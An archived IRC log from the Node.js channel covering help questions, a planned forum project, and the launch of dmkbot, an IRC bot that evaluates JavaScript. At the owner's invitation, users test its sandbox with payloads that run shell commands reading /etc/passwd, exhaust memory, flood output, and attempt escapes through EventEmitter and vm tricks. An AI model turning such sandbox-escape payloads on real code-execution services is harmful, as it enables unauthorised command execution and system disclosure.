[07:32] dave2081: https://gist.github.com/1192452 [07:35] kuebk^ has joined the channel [07:35] `3rdEden has joined the channel [07:38] DrMcKay has joined the channel [07:39] kuebk has joined the channel [07:40] isaacs: dave2081: it doesn't work on node master. [07:40] isaacs: dave2081: use a release version [07:41] Agent_137 has joined the channel [07:43] Agent_137 has joined the channel [07:47] matyr_ has joined the channel [07:50] christophsturm has joined the channel [07:51] abiii has joined the channel [07:52] mraleph has joined the channel [07:53] MUILTFN has joined the channel [07:54] Isaiah has joined the channel [07:56] tuhoojabotti: Hello [07:56] DrMcKay: *yaaaawns* hi [07:57] daglees has joined the channel [07:57] ph^ has joined the channel [08:01] Druid_ has joined the channel [08:03] matyr has joined the channel [08:05] Drakonite has joined the channel [08:05] DrMcKay: I have a strong feeling that I have to deploy something to nodejitsu [08:05] DrMcKay: and I know what will it be [08:06] simenbrekken has joined the channel [08:08] Agent_137 has joined the channel [08:11] dave2081: thanks [08:11] scott_gonzalez has joined the channel [08:12] dave2081: how should I go about getting rid of the version I d [08:12] dave2081: already downloaded [08:12] matyr_ has joined the channel [08:12] DrMcKay_ has joined the channel [08:16] dmkbot has joined the channel [08:17] pt_tr has joined the channel [08:20] adambeynon has joined the channel [08:20] rurufufuss has joined the channel [08:22] jbrokc has joined the channel [08:23] sounko_ has joined the channel [08:23] boaz has joined the channel [08:24] skm has joined the channel [08:25] DrMcKay: how do I get global context with functions like setTimeout, etc.? [08:25] DrMcKay: global obviously doesn't work [08:27] xeodox has joined the channel [08:27] xeodox: Has anyone used the "request" module? can you help me on how to send a normal, simple POST request? https://github.com/mikeal/request [08:27] hellp has joined the channel [08:28] hlindset has joined the channel [08:30] jsj has joined the channel [08:31] Xano has joined the channel [08:37] matyr has joined the channel [08:37] pdelgallego has joined the channel [08:37] TokyoDan has joined the channel [08:39] davidbanham has joined the channel [08:43] matyr_ has joined the channel [08:44] eazyigz_ has joined the channel [08:47] hybsch has joined the channel [08:48] idefine has joined the channel [08:48] xerox: xeodox: what about it [08:48] xerox: I use it all the time [08:49] xeodox: when u send a POST request, do u use "JSON" [08:49] xeodox: request({'uri': … 'json':… 'method': 'POST' ) [08:51] xerox: depends what I post I guess! [08:51] xeodox: just a normal POST [08:51] xeodox: ... [08:51] xerox: no json then [08:52] xeodox: then how? [08:52] xeodox: body: JSON.stringify()? [08:52] sqpat has joined the channel [08:52] xerox: hang on [08:53] zackattack has joined the channel [08:53] xerox: I had a snippet somewhere... [08:54] zackattack: yo. [08:54] zackattack: xerox, are you an original or a copy? [08:54] booo has joined the channel [08:54] xerox: t's very easy [08:54] zackattack: i'm a copy of originals. [08:55] Glenjamin_ has joined the channel [08:56] dob_ has joined the channel [08:56] gautema has joined the channel [08:57] omni5cience_ has joined the channel [08:58] sqpat: im getting a "Error: EPIPE, Broken pipe" when i try to close my streams. Is the typical way to handle a stream "end" event to just stream.end()? [08:58] xerox: xeodox: nearly found it, don't despair :) [08:58] Nuck|mobile has joined the channel [08:58] xeodox: ok haha [08:58] zackattack: okay [08:58] zackattack: i think it's a php-fm error [08:59] Nuck|mobile: Php? [08:59] Nuck|mobile: ACTION vomits [09:00] tdegrunt has joined the channel [09:00] zackattack: i need it to run vbulletin [09:00] zackattack: ACTION cries [09:00] xerox: xeodox: found [09:00] sounko has joined the channel [09:01] xerox: 'body': url-encoded list of params [09:01] xerox: if the server accepts application/form-url-encoded [09:01] xerox: of course [09:01] xerox: which is p standard [09:01] xerox: param=key¶m=key&... [09:01] xeodox: oh I see [09:02] xeodox: thanks!! [09:02] xerox: no problem :D [09:02] Nuck|mobile: Who the fuck uses vbulletin? [09:02] Nuck|mobile: Phpbb is better than that shit [09:02] Nuck|mobile: And if you wanna do it RIGHT, you build one in node [09:03] xerox: Nuck|mobile: vanilla forums is pretty neat [09:03] xerox: without reinventing the wheel for the 23742384298th time :P [09:03] Nuck|mobile: Never heard of it :P [09:03] Nuck|mobile: Is it Node? [09:04] sqpat: huh, turns out it was the 'error' and 'close' events firing for me, not the 'end' event. [09:05] lmorchard has joined the channel [09:07] Daegalus: Hmmm, Nuck|mobile, thats a great idea. I should make a forum software in Node [09:07] __doc__ has joined the channel [09:07] Nuck|mobile: Daegalus: YUSH! [09:08] Daegalus: it can be my "Learn Node.js" project [09:09] fly-away has joined the channel [09:13] DrMcKay: TheJH: ping? [09:13] astropirate: Daegalus, we can work on it togather? :D [09:13] TheJH: DrMcKay, pong :D [09:13] DrMcKay: TheJH: almost done, testing locally :D [09:13] TheJH: DrMcKay, wooow, cool! [09:14] Nuck: Daegalus: I may fork that and adopt it for my site :P [09:14] TheJH: Daegalus, that'd be a cool thing to have :) [09:14] Nuck: So give it something reaaaaaaaaallly loose :3 [09:14] Nuck: TheJH: Well, I was gonna write one myself, when the time came [09:14] TheJH: Daegalus, point me at the repo when you have some code so I can "watch" it :) [09:14] Daegalus: haha ok [09:14] Nuck: But if I can adapt somebody else's work, all the better [09:15] TheJH: ACTION wants to find security vulns in forum software :) [09:15] Daegalus: Might take me a week or so. I got a lot of projects + college etc. Need to setup a few sprints and stories for myself in Greenhopper [09:15] DrMcKay: TheJH: coolest one was vuln in reddit [09:16] DrMcKay: TheJH: it was spreading so fast, because evey onMouseOver on infected link uploaded a new link [09:16] DrMcKay: s/evey/every/ [09:16] TheJH: DrMcKay, :D [09:16] Daegalus: Ohhh, should I make it a forum without its own user login system? Where it uses purely OAuth/OpenID/Etc. [09:16] TheJH: DrMcKay, I think people did the same on twitter [09:17] TheJH: Daegalus, openid++ :) [09:17] Nuck: eww [09:17] Nuck: OAuth2++ [09:17] v8bot_: Nuck has given a beer to OAuth2. OAuth2 now has 1 beers. [09:17] Nuck: But nah, provide a hookin for that [09:17] Nuck: Allow them to make their own modules to deal with that [09:17] Nuck: Just make it super-mdoular like anything on Node [09:17] DrMcKay: deoxxa: yup, password auth is soooo '90s [09:18] DrMcKay: meh, not [09:18] DrMcKay: Daegalus: ^ [09:18] Daegalus: well I need a few base ones like Twitter, Facebook< Gogole [09:18] Insekticid has joined the channel [09:18] Nuck: Daegalus: I'd just use an HTTP Basic module for starters [09:18] Nuck: Then hook in an OAuth2 and OpenID module [09:18] Daegalus: hmmm ok [09:19] Daegalus: I should force MongoDB too :P [09:19] Nuck: Plus it gives reason to make it modular [09:19] Nuck: Daegalus: Why? [09:19] adrianmg has joined the channel [09:19] Nuck: Provide an abstracted connection to the database too lol [09:19] Daegalus: actually ya, i thought of that after i said it [09:19] Daegalus: then let people add adapters if they want something else [09:20] Nuck: But yes, I would say build on Mongo first [09:20] Nuck: Yup [09:20] Nuck: Allow for adapters into the post parsing, etc. [09:21] Daegalus: yay massive project undertaking, and I have maybe written 4 lines of Node.js :P but I learn better like this, I hate going through mini tutorials. I get some massive project under my belt, and do it, and learn on the way [09:21] Nuck: Daegalus: Same [09:21] Nuck: I learned Node by building a chatbot for deviantART [09:22] Nuck: I then refined it and rebuilt it from the core out for v2 [09:22] Nuck: v1 worked fine except my socket kept silently disconnecting [09:22] sqpat: big projects are fun [09:22] Daegalus: lets just hope I can design this properly. Never written forum software before, or anything like it. THe most ive written was a CMS like system for news for my site in PHP [09:22] Nuck: Nah, medium projects are great [09:22] sqpat: im learning nodejs by loadtesting a server running it on an atom [09:23] Nuck: big projects are tiresome [09:23] Nuck: Like my current one [09:23] Nuck: So. [09:23] Nuck: Man.y [09:23] Nuck: Files. [09:23] Daegalus: Hmm, maybe I should also aim to keep it as simple and small as possible [09:23] Nuck: Daegalus: Keep it modularized and it'll manage itself :P [09:23] Daegalus: true [09:23] Nuck: Not sure how to deal with that kind of swappable architecture, TBH [09:24] Nuck: I've never done that before [09:24] Daegalus: eh Ill figure it out [09:24] Nuck: I do set up things like that quite often, though [09:24] diegoviola has left the channel [09:24] Nuck: But I like to have a mixture of abstractions and finely-tunable stuff so I often opt to do things myself where they could be done by a module [09:24] Nuck: Anyway,s it's past 2 AM, I'm gonna go to bed [09:25] Daegalus: oh wow, it is 2 am [09:25] Daegalus: i should get going too [09:26] Daegalus: ill probably use Jade for a templating engine [09:31] DennisRasmussen has joined the channel [09:32] TheJH: Daegalus, so you want to render server-side? [09:33] Daegalus: TheJH: jade can render client-side too [09:33] TheJH: Daegalus, ah, ok [09:33] DrMcKay: uhm, oh [09:34] DrMcKay: syntax error in node.js:205? [09:34] v3ctR has joined the channel [09:34] DrMcKay: I guess it's not my fault, really [09:34] Yuffster_work has joined the channel [09:34] TheJH: !git context joyent/node src/node.js 205 [09:34] jhbot: 204 } [09:34] jhbot: 205 [09:34] jhbot: 206 nextTickQueue.splice(0, l); [09:34] TheJH: meh, "git context" meeds tag support :( [09:35] TheJH: *needs [09:35] DrMcKay: yup [09:35] DrMcKay: TheJH: you download from GH or store locally? [09:35] Daegalus: TheJH: also Jade can pre-compile templates. [09:35] Yuffster_work has joined the channel [09:35] TheJH: DrMcKay, I use GH api for that [09:35] DrMcKay: TheJH: oh, OK [09:37] Yuffster_work has joined the channel [09:37] TheJH: DrMcKay, "getFileCommits" and "showBlob" [09:37] nXqd has joined the channel [09:40] tdegrunt has joined the channel [09:41] TheFuzzball has joined the channel [09:42] Cromulent has joined the channel [09:42] niftylettuce: any way to do res.unsetHeader ? [09:42] niftylettuce: dont see it in Marak's lib for response.js [09:43] paul__ has joined the channel [09:43] matyr has joined the channel [09:44] scas_ has joined the channel [09:45] CStumph has joined the channel [09:45] sounko has joined the channel [09:46] niftylettuce: found it [09:48] v3ctR has joined the channel [09:50] DrMcKay: sooo, my bot kinda works [09:52] TheJH: DrMcKay, yay!!! [09:52] DennisRas has joined the channel [09:53] Frippe has joined the channel [09:53] TheJH: DrMcKay, did you already put it in the channel or so? [09:53] Insekticid: DrMcKay: What bot? :-) [09:53] TheJH: Insekticid, he's building something like v8bot, but with nodejs stuff :) [09:53] TheJH: Insekticid, e.g. with Buffer (just as an example) [09:54] jbpros has joined the channel [09:54] Insekticid: TheJH: Nice :-) [09:54] TheJH: Insekticid, exactly :) [09:54] Insekticid: TheJH: I'm going to write a jabber bot [09:55] AD7six_ has joined the channel [09:55] TheJH: Insekticid, what will it do? [09:55] No9 has joined the channel [09:55] tuhoojabotti: It talks to Insekticid, foreveralone.png [09:56] DrMcKay: Insekticid: dmkbot, I'm writing a code execution module [09:56] tuhoojabotti: :P [09:56] DrMcKay: TheJH: not yet, testing security :D [09:56] tuhoojabotti: DrMcKay: I can help. [09:56] tuhoojabotti: My nick stands for destroyer bot, I'm pretty good at this. [09:56] DrMcKay: tuhoojabotti: no problem, it will be here in a sce [09:56] TheJH: ACTION wants to test security, too [09:56] TheJH: :) [09:57] v3ctR has joined the channel [09:57] Insekticid: TheJH: Post a twitter statuses to the room, notice all about new topics on forum and so on [09:58] Metal3d has joined the channel [09:59] crescendo|laptop has joined the channel [09:59] phluffy has joined the channel [10:00] matyr_ has joined the channel [10:00] ishupa has joined the channel [10:01] DennisRasmussen has joined the channel [10:03] DrMcKay: k, timeout works [10:05] DrMcKay: pushed to GH, I'll deploy in a second [10:05] matyr has joined the channel [10:06] DrMcKay: !eval "Hello" [10:06] DrMcKay: ah, not yer [10:06] DrMcKay: *yet [10:06] dmkbot has joined the channel [10:06] tuhoojabotti: lol [10:06] DrMcKay: !eval "Hello" [10:06] dmkbot: Something went terribly wrong (cannot read jail script) [10:06] tuhoojabotti: ;D [10:06] DrMcKay: that's weird... [10:07] DrMcKay: ah! [10:08] dmkbot has joined the channel [10:09] DrMcKay: !eval "Hello" [10:09] dmkbot: Hello [10:09] dmkbot: Timeout. [10:09] DrMcKay: gah [10:09] DrMcKay: not yet [10:09] TheJH: !eval process.execPath+" | "+process.argv.join(',')+" | "+process.cwd()+" | "+JSON.stringify(process.env)+" | "+process.version [10:09] dmkbot: node.js:205 [10:09] dmkbot: throw e; // process.nextTick error, or 'error' event on first tick [10:09] dmkbot: ^ [10:09] dmkbot: ReferenceError: process is not defined [10:09] dmkbot: at evalmachine.:1:1 [10:09] dmkbot: at Object. (/tmp/dmkbot-1315130888846-TheJH-0.7826997386291623.js:25:16) [10:09] dmkbot: at Module._compile (module.js:416:26) [10:09] dmkbot: at Object..js (module.js:434:10) [10:09] dmkbot: at Module.load (module.js:335:31) [10:09] dmkbot: at Function._load (module.js:294:12) [10:09] dmkbot: at Array. (module.js:454:10) [10:09] tuhoojabotti: lolol [10:09] DrMcKay: TheJH: process is not there [10:09] TheJH: oooh, no process :( [10:09] DrMcKay: TheJH: checkout eval-jail.js [10:10] tuhoojabotti: DrMcKay: I don't think you need the whole traceback in irc. :P [10:10] DrMcKay: tuhoojabotti: I'll supress stderr, then [10:10] Cromulent has joined the channel [10:14] massivebiz has joined the channel [10:14] matyr_ has joined the channel [10:14] dmkbot has joined the channel [10:14] DrMcKay: !eval "Hello" [10:14] dmkbot: Hello [10:15] DrMcKay: !eval something obviously wrong; [10:15] dmkbot: Process exited with 1 [10:15] DrMcKay: I will add some logging later [10:15] DrMcKay: TheJH, tuhoojabotti: do what you need to do :D [10:15] TheJH: !eval require('util').exec('cat /etc/passwd|grep /bin/bash', function(err, stdout, stderr){console.log(stdout+stderr)}); "" [10:15] dmkbot: root:x:0:0:root:/root:/bin/bash [10:15] dmkbot: maciej:x:500:500:Maciej Małecki:/home/maciej:/bin/bash [10:15] TheJH: MUHAHA [10:16] tuhoojabotti: :D [10:16] DrMcKay: you sneaky... [10:16] wao: oh oh [10:16] wao: :D [10:16] TheJH: DrMcKay, util.exec is undocumented and deprecated, I think :D [10:16] CStumph has joined the channel [10:16] DrMcKay: I've noticed... [10:17] radiodario has joined the channel [10:17] stonebranch has joined the channel [10:17] FireFly has joined the channel [10:17] dmkbot has joined the channel [10:18] mike5w3c has joined the channel [10:18] TheJH: !eval require('util').exec('cat /etc/passwd|grep /bin/bash', function(err, stdout, stderr){console.log(stdout+stderr)}); "" [10:18] dmkbot: Process exited with 1 [10:18] TheJH: :D [10:18] DrMcKay: :D [10:19] DrMcKay: !exec while(1); [10:19] DrMcKay: !eval while(1); [10:19] dmkbot: Timeout. [10:19] dmkbot: Process exited with 1 [10:19] TheJH: now comes the evil... [10:19] TheJH: !eval while(true){new Buffer(10000)} [10:19] dmkbot: Process exited with 1 [10:19] TheJH: :( [10:19] DrMcKay: no Buffer :p [10:19] TheJH: !eval str=" ";while(true){str+=str} [10:19] dmkbot: Process exited with 1 [10:21] DrMcKay: I should run it under some setrlimit jail as well [10:21] TheJH: !eval i=0;setInterval(function(){if (i++ < 20) console.log("spam")}, 0) [10:21] dmkbot: { repeat: 0, callback: [Function] } [10:21] dmkbot: spam [10:21] dmkbot: spam [10:21] dmkbot: spam [10:21] dmkbot: spam [10:21] dmkbot: spam [10:21] dmkbot: spam [10:21] dmkbot: spam [10:21] dmkbot: spam [10:21] dmkbot: spam [10:21] dmkbot: spam [10:21] dmkbot: spam [10:21] dmkbot: spam [10:21] DrMcKay: meh, what for? [10:21] tuhoojabotti: lulz [10:21] tuhoojabotti: You asked for it. [10:22] DrMcKay: um, but it shouldn't quit anyway [10:22] tuhoojabotti: excess flood? [10:22] DrMcKay: nah, Remote host closed the connection [10:22] tuhoojabotti: oh [10:22] TheJH: bwahaha @ commit message ([fix] do not require util, because @thejh is a bastard) [10:22] DrMcKay: give me a sec, I'll get him message queue [10:22] DrMcKay: TheJH: :D [10:23] dmkbot has joined the channel [10:23] tuhoojabotti: link me the repo [10:24] robhawkes has joined the channel [10:25] `3rdEden has joined the channel [10:25] TheJH: tuhoojabotti, https://github.com/mmalecki/dmkbot/blob/master/lib/modules/eval-jail.js [10:25] DrMcKay: tuhoojabotti: https://github.com/mmalecki/dmkbot [10:25] tuhoojabotti: thanks. [10:25] tuhoojabotti: Thanks doc. [10:25] tuhoojabotti: ":D" [10:29] kiffness_ has joined the channel [10:29] Metal3d has joined the channel [10:30] TheJH: !eval debug [10:30] dmkbot: Process exited with 1 [10:31] madsleejensen has joined the channel [10:31] tuhoojabotti: !up google.com [10:31] tuhoojabotti: :u [10:31] klander has joined the channel [10:32] matyr has joined the channel [10:33] tuhoojabotti: should that work? [10:33] DrMcKay: !up? google.com [10:33] dmkbot: DrMcKay, host up (status code: 301) [10:33] tuhoojabotti: ah [10:33] DrMcKay: tuhoojabotti: ^ [10:33] tuhoojabotti: Why make it so hard to use? :/ [10:34] tuhoojabotti: !up? dev.tuhoojabotti.com/index/ [10:34] dmkbot: tuhoojabotti, host up (status code: 302) [10:34] dmkbot: joyent/node: kilianc: Assertion failed: (0 && "implement me"), function uv_fs_readlink, file src/unix/fs.c, line 500. Abort trap: 6 - https://github.com/joyent/node/issues/1638 [10:34] tuhoojabotti: !up? dev.tuhoojabotti.com/index [10:34] dmkbot: tuhoojabotti, host up (status code: 302) [10:34] tuhoojabotti: hm [10:35] tuhoojabotti: Okay :/ [10:36] DrMcKay: tuhoojabotti: it sends HTTP HEAD, not ping [10:36] tuhoojabotti: What? [10:37] skm has joined the channel [10:37] tuhoojabotti: For me it seems to send HTTP GET [10:37] tuhoojabotti: And read the statusCode. [10:37] tuhoojabotti: no wait [10:37] tuhoojabotti: you're right [10:37] japj has joined the channel [10:37] tuhoojabotti: But still. [10:37] DrMcKay: tuhoojabotti: what should it do? [10:38] tuhoojabotti: !up? tuhoojabotti.com [10:38] dmkbot: tuhoojabotti, host up (status code: 301) [10:38] tuhoojabotti: !up? www.tuhoojabotti.com [10:38] dmkbot: tuhoojabotti, host up (status code: 200) [10:38] tuhoojabotti: that [10:38] tuhoojabotti: :P [10:38] DrMcKay: :D [10:38] tuhoojabotti: but it shows redirect [10:38] tuhoojabotti: oh well [10:39] tuhoojabotti: !up? dev.tuhoojabotti.com [10:39] dmkbot: tuhoojabotti, host up (status code: 302) [10:40] tuhoojabotti: Yeah [10:40] tuhoojabotti: it just checks the host [10:40] tuhoojabotti: Now if you look at http://dev.tuhoojabotti.com/index/ :P [10:40] DrMcKay: ah, well :D [10:41] tuhoojabotti: kinda useless module. :P [10:41] DrMcKay: tuhoojabotti: it was designed to check if npm is up :D [10:42] dmkbot has joined the channel [10:43] dmkbot has joined the channel [10:43] DrMcKay: !eval i=0;setInterval(function(){if (i++ < 10) console.log("spam")}, 0) [10:43] dmkbot: { repeat: 0, callback: [Function] } [10:43] dmkbot: spam [10:43] dmkbot: spam [10:43] dmkbot: spam [10:43] dmkbot: spam [10:43] dmkbot: spam [10:43] dmkbot: spam [10:43] dmkbot: spam [10:43] dmkbot: spam [10:43] dmkbot: spam [10:43] dmkbot: spam [10:43] dmkbot: Timeout. [10:43] dmkbot: Process exited with 1 [10:43] DrMcKay: intervals, motherfuckers! [10:44] DrMcKay: !ping [10:44] dmkbot: DrMcKay, pong [10:44] astropirate: is require() blocking? [10:44] matyr_ has joined the channel [10:44] DrMcKay: astropirate: yes [10:44] astropirate: is there a non-blocking alternative? [10:45] DrMcKay: astropirate: probably yes, but why would you need it anyway? [10:45] astropirate: dynamically loading modules [10:46] dmkbot: joyent/node: kuebk: Errors while building plugins with 0.5.5 - https://github.com/joyent/node/issues/1632 [10:46] DrMcKay: astropirate: overhead from require it isn't really noticable, it caches things [10:46] TheJH: !eval global [10:46] dmkbot: Process exited with 1 [10:46] TheJH: !eval window [10:46] dmkbot: Process exited with 1 [10:47] DrMcKay: no global? [10:47] DrMcKay: !eval [global] [10:47] dmkbot: Process exited with 1 [10:47] Cromulent has joined the channel [10:47] DrMcKay: weird [10:47] DrMcKay: it's easy to emulate, but why would I :D ? [10:47] ishupa has joined the channel [10:49] DrMcKay: !eval events [10:49] dmkbot: { EventEmitter: [Function: EventEmitter] } [10:49] astropirate: !eval module [10:49] dmkbot: Process exited with 1 [10:49] robhawkes has joined the channel [10:49] DrMcKay: yeah, it needs some error reporting [10:49] astropirate: !eval module.exports [10:49] dmkbot: Process exited with 1 [10:50] DrMcKay: astropirate: module is not defined there [10:50] ant0no has joined the channel [10:50] astropirate: blasphemy [10:50] sirdancealot has joined the channel [10:51] daglees has joined the channel [10:52] rendar has joined the channel [10:52] rendar has joined the channel [10:54] Fabryz has joined the channel [10:55] SamuraiJack has joined the channel [10:55] matyr has joined the channel [10:56] chjj: so linus got ~1100 followers on github in about 12 hours, not bad [10:56] chjj: ;) [10:56] Yuffster_work has joined the channel [10:56] DrMcKay: chjj: I'm wondering why did he get himself an account [10:57] tuhoojabotti: astropirate: well you can read the file and eval it :P [10:57] DrMcKay: he must be planning something! [10:57] chjj: DrMcKay: why wouldnt he? github is e-mazing [10:57] japj: DrMcKay: he is making a diving application i believe ;) [10:57] DrMcKay: chjj: but it's not open-source [10:57] DrMcKay: japj: yeah, I've seen this app :D [10:57] chjj: not sure, he was probably like, "git is my baby, might as well see what all the fuss is about" [10:57] chjj: and decided to checkout github [10:58] chjj: i also think his particular model he envisioned for git works really well on github, maybe hes impressed by it? who knows [10:58] Cromulent has joined the channel [10:59] tdegrunt_ has joined the channel [10:59] DrMcKay: then, why did he do it so late? [10:59] chjj: haha, we could speculate for hours [10:59] felixhummel has joined the channel [10:59] chjj: not sure [10:59] tdegrunt_ has joined the channel [11:00] DrMcKay: we should ask him [11:00] TheJH: I guess he's not on IRC? [11:00] eazyigz has joined the channel [11:00] chjj: one things for sure, i imagine if he *didnt* like github, he wouldnt be on here at all [11:00] junkee[] has joined the channel [11:01] DrMcKay: btw, how do we even know it's really him? [11:01] chjj: ! [11:01] dmkbot: joyent/node: fprijate: Wrong fs.stat size on win32 - https://github.com/joyent/node/issues/1647 [11:01] TheJH: DrMcKay, can't you do some more stuff at the end of evil-jail.js so that I can do moar evil stuff? [11:02] DrMcKay: TheJH: what do you need, exactly :) ? [11:03] astropirate: tuhoojabotti, lol no I realized the errors of my ways and came up with a better scheme [11:03] tuhoojabotti: Nice [11:05] DrMcKay: chjj: git log points at correct email address, but you can set whatever you like in there [11:05] matyr_ has joined the channel [11:06] hij1nx has joined the channel [11:06] niftylettuce: for folks using express: https://github.com/niftylettuce/html5-express-boilerplate [11:06] DrMcKay: ah, no, he confirmed it on Google+ [11:06] niftylettuce: bout to put in h5bp css [11:07] nXqd has joined the channel [11:10] broofa has joined the channel [11:11] mavus has joined the channel [11:12] daglees has joined the channel [11:13] niftylettuce: /s/bout%20to/just [11:14] garrensmith: niftylettuce: that looks cool thanks [11:14] niftylettuce: garrensmith: :) working on the build script right now [11:15] niftylettuce: it uses jade/stylus [11:15] garrensmith: niftylettuce: cool [11:15] niftylettuce: but you could replace with whatever you'd like, I kept it really node-module-focused [11:15] garrensmith: yeah nice [11:16] DrMcKay: !eval url.parse('Y U COLON://nodejs.org'); [11:16] dmkbot: { pathname: 'Y', href: 'Y' } [11:16] niftylettuce: CLI output is the best [11:17] astropirate: DrMcKay, are you bored? [11:17] DrMcKay: astropirate: a bit ;) [11:17] astropirate: lol [11:17] N0va has joined the channel [11:20] shipit has joined the channel [11:21] Twelve-60 has joined the channel [11:23] Fabryz: I have a cloned git repo of node 0.4.8, how to update it with 0.4.11? git checkout v0.4.11? [11:23] stagas: Fabryz: git pull [11:24] stagas: Fabryz: then git checkout whatever [11:24] Fabryz: ok [11:25] rchavik has joined the channel [11:25] Blizz has joined the channel [11:26] whitman has joined the channel [11:28] justinTNT: uploading images and pdf = formidable?? [11:29] Fabryz: nvm, it was just the tar latest install [11:31] robi42 has joined the channel [11:31] davidbanham has joined the channel [11:34] skunkape: How come when I update mongoose model, it doesn't update the record in the database. The console output tells me that it was and not error: http://pastebin.com/Mq93cTjK [11:34] stisti has joined the channel [11:38] Cromulent has joined the channel [11:38] Fabryz: how to require or better include an external js file in the proper way? [11:38] justinTNT: dude, doc.udpate; is a statement, not an invokation [11:40] astropirate: Fabryz, require() [11:40] Fabryz: not working [11:40] astropirate: Fabryz, http://nodejs.org/docs/v0.5.5/api/modules.html#modules [11:40] Blizz: Hello, I am new in javascript and In node.js I am creating first "app" I want only server that give me every 5 sec another data. Here is my git https://github.com/JakubRacek/Node.js-fiction-stock-quote-generator I dont know how to create that 5sec. delay. Because now every I refresh browser, I got another data :/ [11:41] Fabryz: astropirate wait, I have to specify that the class where i need to use the include is shared between the client and server [11:41] astropirate: huu? [11:42] skunkape: justinTNT, doc.update(); causes error "TypeError: Object # has no method 'update'" [11:43] Fabryz: Blizz try using setInterval? [11:43] astropirate: Blizz, why don't you make an AJAX request every 5 seconds? using setInterval https://developer.mozilla.org/en/window.setInterval [11:45] Blizz: Fabryz, astropirate: Wait, I dont want to make that delay on frontend, but on backend, Because I want to use that "server" to pretend quote api [11:45] Fabryz: yes [11:45] Fabryz: you can use that on server side too [11:46] stagas: Blizz: have a currentQuote variable on parent scope that you change on intervals [11:46] stagas: Blizz: and serve that [11:46] niftylettuce: garrensmith: added a built script for it, going to make it an npm module soon [11:47] raynos has joined the channel [11:48] topaxi has joined the channel [11:48] stagas: Blizz: or better do the intervals in the quotes module and have a method getCurrent(ticker, ...) [11:48] jomoho has joined the channel [11:48] stagas: lots of ways [11:48] Blizz: stagas: Oh thank you, firsly I must find something about that parent scope. Thank you [11:48] garrensmith: niftylettuce: awesome will check it out [11:49] markwubben has joined the channel [11:49] niftylettuce: almost done with npm package [11:49] niftylettuce: soon u can do h5eb from command line [11:49] niftylettuce: and bam u got production making of express site [11:49] niftylettuce: stagas: yo yo [11:49] stagas: niftylettuce: hey :) [11:51] adrianmg has left the channel [11:51] swhit has joined the channel [11:51] Blizz: stagas: thank you It looks much beter, only variable what holds that current price and some loop for generating new every % sec. This is what you mean ? [11:54] stagas: Blizz: yes but since you'll have multiple tickets it's better to put them in quotes.js in an object or something, currentQuotes = {...} and do the interval to update all of them in the module every x secs [11:55] Blizz: Thank you. And sorry for my newbie question :/ :) [11:55] XniX23 has joined the channel [11:56] cognominal has joined the channel [11:59] core00 has joined the channel [12:01] kriszyp has joined the channel [12:06] dylang has joined the channel [12:10] dexter_e_ has joined the channel [12:10] dexter_e has joined the channel [12:12] matyr has joined the channel [12:13] LordMetroid has joined the channel [12:13] core00 has left the channel [12:14] LordMetroid: How does JavaScript work, apparently I can call a function that is written on lines after I make the call [12:15] astropirate: LordMetroid, 1 cup dragon's blood and 2 tea-spoons of pixie dust [12:16] LordMetroid: Damn it, I added some eyes of newt [12:17] No9 has joined the channel [12:17] matyr_ has joined the channel [12:18] jkj_: LordMetroid: seemingly it parses the file before running stuff from it [12:19] TheJH: DrMcKay, which nodejs version does your bot run on? [12:19] DrMcKay: TheJH: v0.5.4 [12:19] Brandon_R has joined the channel [12:19] Brandon_R: Gm [12:20] DrMcKay: I feel it was a bad decision to tell you this [12:20] TheJH: DrMcKay, no, was just wondering why an attack didn't work. if you were running latest stable, you'd be open like hell, I guess :D [12:21] TheJH: DrMcKay, pleeeease? :D [12:21] DrMcKay: TheJH: what attack? [12:21] DrMcKay: oh, man [12:21] DrMcKay: you've been exercising him hard [12:21] TheJH: DrMcKay, `var a=new (require('events').EventEmitter)();a.on('a',function(){});a.on('a',function(){});a._events.a.concat.call(null)[0]` [12:21] raynos has joined the channel [12:22] DrMcKay: TheJH: oh. [12:22] DrMcKay: oh, I see [12:23] DrMcKay: oh man [12:23] DrMcKay: setuid?! [12:23] DrMcKay: yeah, this is pretty dangerous :D [12:25] matyr has joined the channel [12:25] Brandon_R: hello guys [12:25] Brandon_R: i need help [12:25] LordMetroid: jkj_: Only seemingly or does it do this for sure? [12:25] Brandon_R: an explaination really [12:25] DrMcKay: Brandon_R: sup? [12:25] Brandon_R: what is multicast in node and how it is different from socket.io broadcast function [12:26] Brandon_R: hi [12:26] DrMcKay: Brandon_R: multicast socket? [12:26] Brandon_R: yeah [12:27] Brandon_R: if i understand correctly both allows a message to be send to all connected [12:27] fairwinds has joined the channel [12:27] DrMcKay: Brandon_R: well, socket.io broadcast sends data to all connected listeners (e.g. web browsers), there's a specified protocol, etc. [12:27] DrMcKay: Brandon_R: but multicast socket is just a way you can transmit packets [12:28] Brandon_R: oh [12:28] DrMcKay: Brandon_R: socket.io broadcast is on way higher level than multicast socket [12:28] Brandon_R: i understand [12:29] DrMcKay: TheJH: 51 tries :D ? [12:29] TheJH: btw, I now hate the v8 guys for 'EvalError: The "this" object passed to eval must be the global object from which eval originated' :( [12:30] DrMcKay: hah! :D [12:30] kon_: hax! [12:30] Brandon_R: lol [12:30] DrMcKay: :D [12:30] TheJH: otherwise, this would print the node version, I think: require('vm').runInNewContext("c.log=eval.bind(this,'console.log(process.version)')",{c:console});console.log(1) [12:30] Brandon_R: anyone got an example of a c++ nodejs extention? [12:32] swhit has joined the channel [12:33] DrMcKay: TheJH: how did you even manage to send two in one second? [12:33] kon_: Brandon_R, for example https://github.com/isaacs/node-async-simple/blob/master/nas.cc [12:33] Brandon_R: thanks ill check it out [12:34] TheJH: DrMcKay, no idea [12:34] DrMcKay: TheJH: and thanks, now I know how to do error reporting :D [12:34] Brandon_R: is writing modules in c++ faster than in js? or about the same speed [12:34] TheJH: DrMcKay, huh? [12:34] kon_: you mean writing them or their actual performance? :P [12:34] Brandon_R: performance [12:35] DrMcKay: TheJH: I will give this bot a big try catch, bots love try catches [12:35] kon_: i can only guess. i guess there isn't much difference at all [12:35] Brandon_R: i'll do some benchmarks if i can get this to work :) [12:38] jacobolus has joined the channel [12:39] davidbanham has joined the channel [12:43] jonaslund: Brandon_R: I think it entirely depends on the workload [12:45] jbpros has joined the channel [12:45] a_suenami has joined the channel [12:45] thinkt4nk has joined the channel [12:48] ryanfitz has joined the channel [12:49] m_ has joined the channel [12:51] bshumate has joined the channel [12:51] bshumate has joined the channel [12:53] matyr has joined the channel [12:54] agnat_ has joined the channel [12:55] sudhirjonathan has joined the channel [12:56] jbpros has joined the channel [12:56] TheJH has joined the channel [12:56] TheJH has joined the channel [13:01] V1 has joined the channel [13:02] `3rdEden has joined the channel [13:04] matyr has joined the channel [13:04] 